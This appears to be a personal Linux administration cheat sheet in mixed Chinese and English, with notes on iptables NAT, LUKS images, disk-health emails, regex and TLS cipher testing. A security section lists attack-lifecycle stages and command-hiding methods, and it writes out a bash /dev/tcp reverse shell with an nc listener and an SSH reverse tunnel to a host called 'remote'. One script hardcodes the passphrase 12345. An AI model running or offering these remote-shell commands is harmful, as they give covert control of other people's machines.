_MODULES="overlay squashfs loop"
_USB_MODULES="xhci_pci xhci_hcd ehci_pci ohci_hcd uhci_hcd"
_USB_MODULES="$_USB_MODULES usb_storage uas"
_USB_MODULES="$_USB_MODULES sd_mod"
_USB_MODULES="$_USB_MODULES vfat exfat"
timeout 300 sh -c 'while true;do _t=1;for i in /modules/*;do insmod ${i}&&_t=0;done; [ ${_t} -gt 0 ]&&break; done;'
find /sys/devices -name modalias|xargs -n 1 cat|xargs -r modprobe -abq
for i in $_MODULES $_USB_MODULES;do modprobe ${i};done
echo "1" > /proc/sys/net/ipv4/ip_forward
IF=vmbr0
PORT_FROM=80
PORT_TO=80
DEST=192.168.1.1
HOST_IP=192.168.2.1
iptables -t nat -A POSTROUTING -o ${IF} -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --dport ${PORT_FROM} -j DNAT --to-destination ${DEST}:${PORT_TO}
or
iptables -t nat -A PREROUTING -i $IF -p tcp --dport $PORT_FROM -j DNAT --to $DEST:$PORT_TO
iptables -t nat -A POSTROUTING -p tcp -d $DEST --dport $PORT_TO -j MASQUERADE
iptables -t nat -A OUTPUT -d ${HOST_IP} -p tcp --dport &{PORT_FROM} -j DNAT --to-destination ${DEST}:${PORT_TO} #NAT LOOPBACK
SNAT
HOST_IP=192.168.2.1
HOST_IF=vmbr0
iptables -t nat -A POSTROUTING -s 172.16.255.0/255.255.255.0 -o ${HOST_IF} -j SNAT --to-source ${HOST_IP}
攻擊生命週期
1.偵察
2.初步刺探
3.建立立足點
4.提昇權限
5.內部偵察
6.橫向活動
7.保持進駐
8.任務達成
網路安全
1.保密性
2.完整性
3.可用性
4.不可否認性
5.認證
資料蒐集類型
1.日誌檔
2.歷史指令
3.暫存檔
4.組態設定檔
5.使用者資料
指令隱蔽方法
1.語法
2.邏輯
3.編碼加密
日誌相關指令
logger
eventcreate.exe
eventvwr.exe
eventvwr.msc
檔案系統監看
1.建立基準
2.偵測變化
3.自動化、通知
bash 連線方式
nc -l -p 8080 #控制端 remote
bash -i </dev/tcp/remote /8080 1>&0 2>&0 #受控端
SSH反向連接
ssh -RNf 12345:localhost:22 user@remote #受控端
ssh localhost -p 12345 #控制端
正規表示式
. 代表單一萬用字元
? 前面的任何項目出現一次或無
* 前面的任何項目出現一次以上或無
+ 前面的任何項目出現至少一次或以上
( ) 群聚 集合字元 (aaa|bbb)
[ ] 定義字元種類
[:alnum:] 數字和字母字元
[:alpha:] 純字母
[:cntrl:] 控制字元
[:digit:] 數字字元
[:graph:] 控制字元和空白字元以外
[:lower:] 小寫字元
[:print:] 控制字元以外字元
[:punct:] 標點符號字元
[:space:] 包含換行的空白字元
[:upper:] 大寫字元
[:xdigit:] 16進位字元
\b 界定字詞邊界
\s 空白
\S 非空白
\d 數字
\D 非數字
\w 字詞
\W 非字詞
\x 16進位數字
T{5, } 量詞/Quantifiers 項目出現的次數
^ 項目應出現字串開頭
$ 項目應出現字串結尾
回溯參照/back reference
egrep '<([A-Za-z]*)>.*</\1>' tags.txt
解析帶 - 名稱
echo { \"host\": \"host\", \"host-name\": \"host-name\" } |jq '.["host-name"]'
jsan.txt
{
"result": {
"host": "host", "host-name": "host-name0"
},
"host": "host", "host-name": "host-name1"
}
#!/bin/bash
OVERHEAD=32768
YOUR_PASSPHRASE=12345
SQUASHFS_IMG="/tmp/a.sqfs"
LUKS_IMG="/tmp/cryptbackupluks.img"
LOOP_DEV="/dev/loop0"
MAPPER_NAME="secretfs"
rm ${LUKS_IMG};
BLOCKCOUNT=$(du --block-size=512 "$SQUASHFS_IMG" | cut -f1)
dd if=/dev/zero of="$LUKS_IMG" bs=512 count=1 seek=$(($BLOCKCOUNT + $OVERHEAD))
losetup ${LOOP_DEV} ${LUKS_IMG}
#cryptsetup -y luksFormat ${LOOP_DEV}
#cryptsetup luksOpen ${LOOP_DEV} ${MAPPER_NAME}
cryptsetup luksFormat --type luks2 ${LOOP_DEV} <<< ${YOUR_PASSPHRASE} ||exit $?
#cryptsetup luksFormat ${LOOP_DEV} <<< ${YOUR_PASSPHRASE} ||exit $?
cryptsetup luksOpen ${LOOP_DEV} ${MAPPER_NAME} <<< ${YOUR_PASSPHRASE} ||exit $?
echo =================================
dd if=${SQUASHFS_IMG} of=/dev/mapper/${MAPPER_NAME} status=progress
cryptsetup luksClose ${MAPPER_NAME}
losetup -d ${LOOP_DEV}
#!/bin/bash
# 2024-04-23
# busybox sendmail
# https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/
mta="busybox sendmail "
S=email.server
f="from<user@email.loc>"
t="to<user@email.loc>"
ema(){ local t;t=${1##*\<};t=${t%%\>};echo $t; }
ips(){ ip a|grep "inet "|grep -v 127.0.0.1|awk '{print $2}'; }
hdds(){ lsblk -l |grep " disk "|awk '{print $1}'; }
s="$(date) <`ips` $(hostname)>"
cat <<EOF | ${mta} -f $(ema ${f}) -t "$(ema ${t})" -S ${S}
Subject: ${s}
CC:
To: ${t}
From: ${f}
$(date)
Disk Usage ====================================================
$(df -h 2>&1)
MD stat =======================================================
$(cat /proc/mdstat)
ZFS stat ======================================================
$(zpool status 2>&1)
HDD Smart stat ================================================
`for i in $(hdds);do echo /dev/${i} @@@@@@@@@;smartctl -H /dev/${i} 2>&1;done`
EOF
查詢 ssh 支援密碼類型
ssh -Q cipher
指定 scp 加密方式
scp -o Ciphers=aes256-gcm@openssh.com file host:/dev/null
ps axo user:20,pid,pcpu,pmem,vsz,rss,tty,stat,start,time,comm
USER = user owning the process PID = process ID of the process %CPU = It is the CPU time used divided by the time the process has been running. %MEM = ratio of the process’s resident set size to the physical memory on the machine VSZ = virtual memory usage of entire process (in KiB) RSS = resident set size, the non-swapped physical memory that a task has used (in KiB) TTY = controlling tty (terminal) STAT = multi-character process state START = starting time or date of the process TIME = cumulative CPU time COMMAND = command with all its arguments
Process State Codes (STAT):
R running or runnable (on run queue)
D uninterruptible sleep (usually IO)
S interruptible sleep (waiting for an event to complete)
Z defunct/zombie, terminated but not reaped by its parent
T stopped, either by a job control signal or because it is being traced
Some extra modifiers:
< high-priority (not nice to other users)
N low-priority (nice to other users)
L has pages locked into memory (for real-time and custom IO)
s is a session leader
l is multi-threaded (using CLONE_THREAD, like NPTL pthreads do)
+ is in the foreground process group
url=https://www.google.com
export url
echo $url
printf "\nTLS 1.3\n==========================================================\n"
openssl ciphers -s -tls1_3|tr : \ |xargs -n 1 bash -c 'pad="$0 ";printf "${pad:0:32} = ";curl --insecure -s -S -o /dev/null --no-progress-meter --tls-max 1.3 $url --tls13-ciphers $0&&echo OK '
printf "\nTLS 1.2\n==========================================================\n"
openssl ciphers -s -tls1_2|tr : \ |xargs -n 1 bash -c 'pad="$0 ";printf "${pad:0:32} = ";curl --insecure -s -S -o /dev/null --no-progress-meter --tls-max 1.2 $url --ciphers $0&&echo OK '
相關網站
https://www.ssllabs.com/ssltest/
openssl s_client -connect www.google.com:443
openssl s_client -connect www.google.com:443 -tls1_1
openssl s_client -connect www.google.com:443 -tls1_2
openssl s_client -connect www.google.com:443 -tls1_3
curl -s -S -v -o /dev/null --no-progress-meter https://www.google.com
curl -s -S -v -o /dev/null --no-progress-meter https://www.google.com --tls-max 1.1
curl -s -S -v -o /dev/null --no-progress-meter https://www.google.com --tls-max 1.2
curl -s -S -v -o /dev/null --no-progress-meter https://www.google.com --tls-max 1.3
wget -q -O- --method=get 127.0.0.1/user
wget -q -O- --method=put 127.0.0.1/user
wget -q -O- --method=head 127.0.0.1/user
wget -q -O- --method=delete 127.0.0.1/user
wget -q -O- --method=post --post-data="id=id&value=value" 127.0.0.1/user
#!/bin/bash
p=/opt/pyenv/plugins/python-build/share/python-build
for i in $(cat $p/* |tr = \ |xargs -n 1 2>/dev/null|grep http|grep \#|sort|uniq);
do
#echo $i
ii=${i%%#*}
#echo $ii
#basename $ii;
wget -nc $ii
done
printf "HEAD / HTTP/1.0 \n\n\n" |nc 127.0.0.1 80
curl --head 127.0.0.1
